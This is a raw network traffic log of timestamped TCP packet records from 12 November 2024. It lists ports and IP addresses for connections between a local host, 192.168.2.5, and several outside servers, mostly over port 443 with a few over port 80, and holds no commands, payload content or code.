Nov 12, 2024 08:30:27.312319040 CET	49763	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.312324047 CET	443	49763	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.313254118 CET	49760	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.313261986 CET	443	49760	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.313276052 CET	49760	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.313280106 CET	443	49760	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.437817097 CET	443	49763	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.438004971 CET	443	49763	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.438062906 CET	49763	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.453277111 CET	49763	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.453296900 CET	443	49763	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.453308105 CET	49763	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.453314066 CET	443	49763	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.464557886 CET	49764	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.464613914 CET	443	49764	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.464787006 CET	49764	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.466193914 CET	49765	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.466233969 CET	443	49765	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.466330051 CET	49766	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.466337919 CET	443	49766	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.466366053 CET	49765	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.466396093 CET	49766	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.467255116 CET	49767	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.467262983 CET	443	49767	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.467318058 CET	49767	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.467441082 CET	49764	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.467454910 CET	443	49764	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.467777967 CET	49767	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.467787981 CET	443	49767	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.473818064 CET	49768	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.473844051 CET	443	49768	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.473897934 CET	49768	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.474306107 CET	49765	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.474314928 CET	443	49765	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.474425077 CET	49766	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.474435091 CET	443	49766	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.476876974 CET	49768	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.476888895 CET	443	49768	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.198504925 CET	443	49768	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.199614048 CET	49773	443	192.168.2.5	94.245.104.56
Nov 12, 2024 08:30:28.199661016 CET	443	49773	94.245.104.56	192.168.2.5
Nov 12, 2024 08:30:28.199721098 CET	49773	443	192.168.2.5	94.245.104.56
Nov 12, 2024 08:30:28.205081940 CET	443	49764	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.205749989 CET	443	49767	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.205852032 CET	443	49765	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.209144115 CET	443	49766	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.212552071 CET	49773	443	192.168.2.5	94.245.104.56
Nov 12, 2024 08:30:28.212568998 CET	443	49773	94.245.104.56	192.168.2.5
Nov 12, 2024 08:30:28.260904074 CET	49767	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.261142015 CET	49765	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.299913883 CET	49766	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.299940109 CET	443	49766	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.300482988 CET	49766	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.300487995 CET	443	49766	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.300719023 CET	49765	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.300729990 CET	443	49765	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.301414967 CET	49765	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.301420927 CET	443	49765	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.301695108 CET	49768	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.301709890 CET	443	49768	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.302057981 CET	49768	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.302062035 CET	443	49768	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.302503109 CET	49764	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.302509069 CET	443	49764	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.303448915 CET	49764	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.303456068 CET	443	49764	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.303520918 CET	49767	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.303524971 CET	443	49767	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.304028988 CET	49767	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.304033041 CET	443	49767	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.425049067 CET	443	49768	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.425124884 CET	443	49765	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.425143003 CET	443	49768	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.425194979 CET	49768	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.425240993 CET	443	49765	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.425321102 CET	49765	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.426604033 CET	443	49766	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.426917076 CET	443	49766	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.427037954 CET	49766	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.429183960 CET	443	49767	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.429241896 CET	443	49767	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.429341078 CET	49767	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.435380936 CET	443	49764	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.435509920 CET	443	49764	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.435560942 CET	49764	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.514899969 CET	49768	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.514935017 CET	443	49768	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.516005039 CET	49767	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.516037941 CET	443	49767	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.516052008 CET	49767	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.516057968 CET	443	49767	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.516845942 CET	49764	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.516865015 CET	443	49764	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.516877890 CET	49764	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.516885042 CET	443	49764	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.517596006 CET	49765	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.517600060 CET	443	49765	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.517623901 CET	49765	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.517627001 CET	443	49765	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.518362045 CET	49766	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.518366098 CET	443	49766	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.518484116 CET	49766	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.518486977 CET	443	49766	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.527446985 CET	49776	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.527487993 CET	443	49776	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:28.527729034 CET	49776	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.581285000 CET	49776	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:28.581310034 CET	443	49776	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:29.093799114 CET	49777	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:29.093852043 CET	443	49777	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:29.093985081 CET	49777	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:29.225275040 CET	49779	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:29.225308895 CET	443	49779	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:29.225486994 CET	49779	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:29.227060080 CET	49780	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:29.227087975 CET	443	49780	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:29.227189064 CET	49780	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:29.253545046 CET	49777	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:29.253570080 CET	443	49777	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:29.270293951 CET	49781	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:29.270332098 CET	443	49781	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:29.270422935 CET	49779	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:29.270437002 CET	443	49779	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:29.270457983 CET	49781	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:29.270519018 CET	49781	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:29.270526886 CET	443	49781	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:29.270607948 CET	49780	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:29.270625114 CET	443	49780	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:29.296454906 CET	443	49773	94.245.104.56	192.168.2.5
Nov 12, 2024 08:30:29.296803951 CET	49773	443	192.168.2.5	94.245.104.56
Nov 12, 2024 08:30:29.296821117 CET	443	49773	94.245.104.56	192.168.2.5
Nov 12, 2024 08:30:29.297806025 CET	443	49773	94.245.104.56	192.168.2.5
Nov 12, 2024 08:30:29.297878981 CET	49773	443	192.168.2.5	94.245.104.56
Nov 12, 2024 08:30:29.299009085 CET	49773	443	192.168.2.5	94.245.104.56
Nov 12, 2024 08:30:29.299073935 CET	443	49773	94.245.104.56	192.168.2.5
Nov 12, 2024 08:30:29.299168110 CET	49773	443	192.168.2.5	94.245.104.56
Nov 12, 2024 08:30:29.299175978 CET	443	49773	94.245.104.56	192.168.2.5
Nov 12, 2024 08:30:29.321556091 CET	443	49776	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:29.398013115 CET	49773	443	192.168.2.5	94.245.104.56
Nov 12, 2024 08:30:29.398013115 CET	49776	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:29.538045883 CET	443	49773	94.245.104.56	192.168.2.5
Nov 12, 2024 08:30:29.579900980 CET	49776	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:29.579931974 CET	443	49776	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:29.580696106 CET	49776	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:29.580703974 CET	443	49776	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:29.602016926 CET	49773	443	192.168.2.5	94.245.104.56
Nov 12, 2024 08:30:29.650594950 CET	443	49773	94.245.104.56	192.168.2.5
Nov 12, 2024 08:30:29.650655031 CET	443	49773	94.245.104.56	192.168.2.5
Nov 12, 2024 08:30:29.650712013 CET	49773	443	192.168.2.5	94.245.104.56
Nov 12, 2024 08:30:29.825923920 CET	443	49776	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:29.825995922 CET	443	49776	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:29.826203108 CET	49776	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:29.990953922 CET	443	49779	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:29.996946096 CET	443	49781	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.004153967 CET	443	49780	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.016813040 CET	443	49777	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.089611053 CET	49781	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.096553087 CET	49779	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.096569061 CET	49780	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.096573114 CET	49777	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.138822079 CET	49777	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.138843060 CET	443	49777	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.139404058 CET	49777	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.139411926 CET	443	49777	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.140290976 CET	49780	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.140300035 CET	443	49780	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.140822887 CET	49780	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.140829086 CET	443	49780	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.141474962 CET	49776	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.141504049 CET	443	49776	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.141516924 CET	49776	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.141522884 CET	443	49776	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.148952961 CET	49779	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.148967028 CET	443	49779	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.150036097 CET	49779	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.150044918 CET	443	49779	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.150307894 CET	49781	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.150325060 CET	443	49781	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.150665045 CET	49781	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.150670052 CET	443	49781	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.151485920 CET	49773	443	192.168.2.5	94.245.104.56
Nov 12, 2024 08:30:30.151490927 CET	443	49773	94.245.104.56	192.168.2.5
Nov 12, 2024 08:30:30.151525021 CET	49773	443	192.168.2.5	94.245.104.56
Nov 12, 2024 08:30:30.151542902 CET	49773	443	192.168.2.5	94.245.104.56
Nov 12, 2024 08:30:30.169286966 CET	49785	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.169325113 CET	443	49785	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.169398069 CET	49785	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.169538021 CET	49785	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.169549942 CET	443	49785	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.210953951 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:30.210962057 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:30.211168051 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:30.211905956 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:30.211915970 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:30.267477989 CET	443	49780	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.267592907 CET	443	49780	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.267688990 CET	49780	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.269849062 CET	443	49777	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.270153999 CET	443	49777	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.270212889 CET	49777	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.274281979 CET	443	49779	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.274348021 CET	443	49779	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.274487019 CET	49779	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.278127909 CET	443	49781	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.278177977 CET	443	49781	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.278285027 CET	49781	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.286751032 CET	49780	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.286768913 CET	443	49780	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.286781073 CET	49780	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.286787987 CET	443	49780	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.287516117 CET	49781	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.287539959 CET	443	49781	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.289320946 CET	49777	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.289344072 CET	443	49777	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.295047998 CET	49779	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.295063972 CET	443	49779	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.295075893 CET	49779	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.295082092 CET	443	49779	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.347588062 CET	49788	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.347635031 CET	443	49788	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.347712994 CET	49788	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.352324009 CET	49788	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.352335930 CET	443	49788	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.370820999 CET	49789	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.370867014 CET	443	49789	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.370928049 CET	49789	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.371112108 CET	49789	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.371124983 CET	443	49789	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.371687889 CET	49790	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.371706009 CET	443	49790	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.371790886 CET	49790	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.374347925 CET	49791	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.374356985 CET	443	49791	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.374464989 CET	49790	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.374476910 CET	443	49790	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.374489069 CET	49791	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.375363111 CET	49791	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.375370979 CET	443	49791	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.469288111 CET	49792	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:30.469321966 CET	443	49792	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:30.469532967 CET	49792	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:30.470443010 CET	49792	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:30.470455885 CET	443	49792	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:30.853941917 CET	80	49738	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:30.854156971 CET	49738	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:30.864188910 CET	49803	443	192.168.2.5	18.244.18.38
Nov 12, 2024 08:30:30.864203930 CET	443	49803	18.244.18.38	192.168.2.5
Nov 12, 2024 08:30:30.864320993 CET	49803	443	192.168.2.5	18.244.18.38
Nov 12, 2024 08:30:30.864548922 CET	49803	443	192.168.2.5	18.244.18.38
Nov 12, 2024 08:30:30.864553928 CET	443	49803	18.244.18.38	192.168.2.5
Nov 12, 2024 08:30:30.896527052 CET	443	49785	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.897012949 CET	49785	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.897031069 CET	443	49785	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:30.897547007 CET	49785	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:30.897552013 CET	443	49785	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.025855064 CET	443	49785	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.025921106 CET	443	49785	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.026092052 CET	49785	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.026304960 CET	49785	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.026304960 CET	49785	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.026324987 CET	443	49785	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.026333094 CET	443	49785	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.029037952 CET	49805	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.029081106 CET	443	49805	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.029197931 CET	49805	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.029369116 CET	49805	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.029381037 CET	443	49805	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.074239016 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.074466944 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.074480057 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.074843884 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.074855089 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.074898958 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.074904919 CET	443	49788	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.074907064 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.074945927 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.075608969 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.075685978 CET	49788	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.075726032 CET	443	49788	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.076726913 CET	49788	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.076733112 CET	443	49788	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.076831102 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.076880932 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.077023029 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.077028036 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.097959995 CET	443	49789	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.098581076 CET	49789	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.098596096 CET	443	49789	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.099216938 CET	49789	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.099220991 CET	443	49789	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.102684975 CET	443	49791	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.103068113 CET	49791	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.103082895 CET	443	49791	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.103487968 CET	49791	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.103492975 CET	443	49791	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.130606890 CET	443	49790	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.133202076 CET	49790	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.133232117 CET	443	49790	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.134205103 CET	49790	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.134210110 CET	443	49790	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.198282957 CET	49738	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:31.198544025 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:31.198576927 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.202563047 CET	443	49788	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.202735901 CET	443	49788	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.202781916 CET	49788	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.202848911 CET	49788	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.202848911 CET	49788	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.202862024 CET	443	49788	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.202869892 CET	443	49788	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.203022003 CET	80	49738	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:31.203346968 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:31.203417063 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:31.203980923 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:31.204185009 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:31.206176043 CET	49810	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.206218004 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.206264973 CET	49810	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.206415892 CET	49810	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.206429958 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.209698915 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:31.209708929 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:31.209726095 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:31.209736109 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:31.226566076 CET	443	49789	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.226639032 CET	443	49789	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.226680040 CET	49789	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.226877928 CET	49789	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.226893902 CET	443	49789	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.229753971 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.229792118 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.229873896 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.230101109 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.230113983 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.231080055 CET	443	49791	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.231138945 CET	443	49791	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.231245041 CET	49791	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.231532097 CET	49791	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.231538057 CET	443	49791	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.231547117 CET	49791	443	192.168.2.5	13.107.246.45
